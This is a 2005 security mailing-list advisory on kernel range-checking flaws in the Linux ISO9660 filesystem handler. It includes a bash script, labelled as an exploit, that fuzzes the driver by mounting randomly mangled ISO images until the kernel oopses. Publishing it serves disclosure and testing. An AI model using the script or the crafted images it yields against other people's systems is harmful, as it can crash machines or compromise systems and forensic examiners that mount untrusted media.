From: SecuriTeam <support@securiteam.com.>
To: list@securiteam.com
Date: 23 Mar 2005 10:22:03 +0200
Subject: [UNIX] Linux ISO9660 Handling Flaws
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Linux ISO9660 Handling Flaws
------------------------------------------------------------------------
SUMMARY
A number of kernel-level checking flaws were discovered in the Linux
kernel's ISO9660 filesystem handler..
DETAILS
Vulnerable Systems:
* Linux kernel version 2.6.11 and prior
Immune Systems:
* Linux kernel version 2.6.12
There appears to be a fair number of kernel-level range checking flaws in
ISO9660 filesystem handler (and Rock Ridge / Juliet extensions) in Linux
up to and including 2.6.11. These bugs range from DoS conditions to
potentially exploitable memory corruption - all this whenever a specially
crafted filesystem is mounted or directories are examined. Most apparent
flaws are expected to be fixed in Linux 2.6.12, although, as per Linus
words, "that code is horrid", and it may take some time to work out all
the issues.
There are two obvious ways such flaws can be used to benefit remote
attackers:
1) Bugs in removable media filesystems may be used to automatically
compromise any system whose owner decided to examine a newly acquired
CD-ROM, even if extreme caution is observed (that is, autorun is disabled,
and no files are executed).
2) For all types of filesystems, such problems can be additionally used to
subvert forensic analysis efforts. Disk images from compromised machine
may infect forensic examiner's system and alter results, or simply render
the machine unusable.
The following is script that can be used to test fs drivers against most
obvious fault conditions. With little effort, it can be further altered to
test filesystems other than ISO9660, and OSes other than Linux:
Exploit:
#!/bin/bash
cd /tmp || exit 1
echo '[*] Compiling mangler...'
cat >mangle.c <<_EOF_
char buf[10240];
main() {
int i,x;
srand(time(0) ^ getpid());
while ( (i = read(0,buf,sizeof(buf))) > 0) {
x = rand() % (i/20);
while (x--) buf[rand() % i] = rand();
write(1,buf,i);
}
}
_EOF_
gcc -O3 mangle.c -o mangle || exit 1
rm -f mangle.c
echo '[*] Preparing ISO master (feel free to alter this code)...'
mkdir cd_dir || exit 1
cd cd_dir
CNT=0
while [ "$CNT" -lt "200" ]; do
mkdir A; cd A
CNT=$[CNT+1]
done
cd /tmp/cd_dir
A=`perl -e '{print "A"x255}' 2>/dev/null`
CNT=0
while [ "$CNT" -lt "3" ]; do
mkdir "$A"; cd "$A"
CNT=$[CNT+1]
done
cd /tmp
echo '[*] Creating image (alter filesystem or parameters as needed)...'
mkisofs -U -R -J -o cd.iso cd_dir 2>/dev/null || exit 1
rm -rf cd_dir
echo '[*] STRESS TEST PHASE...'
while :; do
DIR="/tmp/cdtest-$$-$RANDOM"
mkdir "$DIR"
dmesg -c 2>/dev/null
cat cd.iso | ./mangle >cd_mod.iso
mount -t iso9660 -o loop,ro /tmp/cd_mod.iso "$DIR" 2>/dev/null
# ls -lAR "$DIR" - Uncomment if you like when it HURTS...
umount "$DIR" 2>/dev/null
rm -rf "$DIR" 2>/dev/null
FAULT=`dmesg | grep -Ei 'oops|unable to handle'`
test "$FAULT" = "" || break
done
dmesg | tail -30
echo '[+] Something found (/tmp/cd-mod.iso)...'
rm -f cd.iso mangle
exit 0
ADDITIONAL INFORMATION
The information has been provided by <mailto:lcamtuf@dione.ids.pl.> Michal
Zalewski.
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